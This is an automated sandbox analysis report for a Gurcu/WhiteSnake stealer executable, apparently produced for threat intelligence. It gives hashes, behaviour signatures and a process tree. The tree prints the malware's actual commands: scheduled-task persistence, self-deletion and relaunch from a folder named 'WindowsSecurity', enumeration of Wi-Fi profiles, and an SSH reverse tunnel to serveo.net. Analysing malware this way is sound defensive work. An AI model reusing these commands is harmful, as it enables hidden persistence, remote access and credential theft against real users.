Analysis

  • max time kernel
    134s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    05-10-2023 21:50

General

  • Target

    1edb8aa1adacda31bc98064b1634ddea.exe

  • Size

    225KB

  • MD5

    1edb8aa1adacda31bc98064b1634ddea

  • SHA1

    7dc5aee1dd577b61a41a5001d465f0606bb33618

  • SHA256

    fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

  • SHA512

    26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

  • SSDEEP

    3072:GQ2NGV19gqU3pJpfYTCOoShKmECPTKBWFPkl6WQre9Q29bSHXGhrD9HA2AF+q73o:uGDCOoSEmkWeILe9z9bS30AzHe0

Malware Config

Signatures

  • Detect Gurcu Stealer V3 payload 7 IoCs
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe
    "C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "1edb8aa1adacda31bc98064b1634ddea" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2940
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:1388
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1
          3⤵
          • Runs ping.exe
          PID:2208
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "1edb8aa1adacda31bc98064b1634ddea" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe" /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:2772
        • C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
          "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2960
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1888
            • C:\Windows\system32\chcp.com
              chcp 65001
              5⤵
                PID:2196
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                5⤵
                  PID:2900
                • C:\Windows\system32\findstr.exe
                  findstr /R /C:"[ ]:[ ]"
                  5⤵
                    PID:2912
                • C:\Windows\system32\cmd.exe
                  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2836
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    5⤵
                      PID:2508
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show networks mode=bssid
                      5⤵
                        PID:3008
                      • C:\Windows\system32\findstr.exe
                        findstr "SSID BSSID Signal"
                        5⤵
                          PID:1964
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {FC2D68E6-6EAD-48FF-BDC2-604CC96E7F13} S-1-5-21-3513876443-2771975297-1923446376-1000:GPFFWLPI\Admin:Interactive:[1]
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:580
                  • C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
                    C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
                    2⤵
                    • Executes dropped EXE
                    • Accesses Microsoft Outlook profiles
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    • outlook_office_path
                    • outlook_win_path
                    PID:3028
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2272
                      • C:\Windows\system32\chcp.com
                        chcp 65001
                        4⤵
                          PID:2416
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show profiles
                          4⤵
                            PID:988
                          • C:\Windows\system32\findstr.exe
                            findstr /R /C:"[ ]:[ ]"
                            4⤵
                              PID:2092
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2324
                            • C:\Windows\system32\chcp.com
                              chcp 65001
                              4⤵
                                PID:2804
                              • C:\Windows\system32\netsh.exe
                                netsh wlan show networks mode=bssid
                                4⤵
                                  PID:1932
                                • C:\Windows\system32\findstr.exe
                                  findstr "SSID BSSID Signal"
                                  4⤵
                                    PID:792
                                • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                                  "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6140 serveo.net
                                  3⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  PID:2392

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe

                              Filesize

                              225KB

                              MD5

                              1edb8aa1adacda31bc98064b1634ddea

                              SHA1

                              7dc5aee1dd577b61a41a5001d465f0606bb33618

                              SHA256

                              fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

                              SHA512

                              26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe

                              Filesize

                              225KB

                              MD5

                              1edb8aa1adacda31bc98064b1634ddea

                              SHA1

                              7dc5aee1dd577b61a41a5001d465f0606bb33618

                              SHA256

                              fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

                              SHA512

                              26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe

                              Filesize

                              225KB

                              MD5

                              1edb8aa1adacda31bc98064b1634ddea

                              SHA1

                              7dc5aee1dd577b61a41a5001d465f0606bb33618

                              SHA256

                              fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

                              SHA512

                              26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

                              Filesize

                              1.5MB

                              MD5

                              79a6e2268dfdba1d94c27f4b17265ff4

                              SHA1

                              b17eed8cb6f454700f8bfcfd315d5627d3cf741c

                              SHA256

                              6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

                              SHA512

                              3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

                              Filesize

                              914KB

                              MD5

                              d1ce628a81ab779f1e8f7bf7df1bb32c

                              SHA1

                              011c90c704bb4782001d6e6ce1c647bf2bb17e01

                              SHA256

                              2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

                              SHA512

                              de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

                              Filesize

                              914KB

                              MD5

                              d1ce628a81ab779f1e8f7bf7df1bb32c

                              SHA1

                              011c90c704bb4782001d6e6ce1c647bf2bb17e01

                              SHA256

                              2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

                              SHA512

                              de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

                            • C:\Users\Admin\AppData\Local\loshoa0u2z\port.dat

                              Filesize

                              4B

                              MD5

                              3d7d9461075eb7c37fbbfcad1d7042c1

                              SHA1

                              4a0db03101435756ef1fe8794522700146c3fff5

                              SHA256

                              895c8504fe3e30686ef561fd70c180259e4f0f86bd1ba5322a27d0fc15d4b06d

                              SHA512

                              da2269e9abacb3070ab13ef769e8da41136ec2748342ef2cf4bcf4f0d76800b4a264f88dbe808070bfd5faa8d467b4b9113927d5ced7190d4ca0f3aca08bd9e0

                            • \Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

                              Filesize

                              1.5MB

                              MD5

                              79a6e2268dfdba1d94c27f4b17265ff4

                              SHA1

                              b17eed8cb6f454700f8bfcfd315d5627d3cf741c

                              SHA256

                              6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

                              SHA512

                              3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

                            • memory/2444-2-0x000000001B090000-0x000000001B110000-memory.dmp

                              Filesize

                              512KB

                            • memory/2444-5-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/2444-0-0x0000000000D60000-0x0000000000D9E000-memory.dmp

                              Filesize

                              248KB

                            • memory/2444-1-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/2960-13-0x000007FEF4ED0000-0x000007FEF58BC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/2960-14-0x000000001B1B0000-0x000000001B230000-memory.dmp

                              Filesize

                              512KB

                            • memory/2960-11-0x000000001B1B0000-0x000000001B230000-memory.dmp

                              Filesize

                              512KB

                            • memory/2960-10-0x000007FEF4ED0000-0x000007FEF58BC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/2960-9-0x0000000000A00000-0x0000000000A3E000-memory.dmp

                              Filesize

                              248KB

                            • memory/3028-16-0x000007FEF4ED0000-0x000007FEF58BC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/3028-17-0x000000001ABE0000-0x000000001AC60000-memory.dmp

                              Filesize

                              512KB

                            • memory/3028-132-0x000007FEF4ED0000-0x000007FEF58BC000-memory.dmp

                              Filesize

                              9.9MB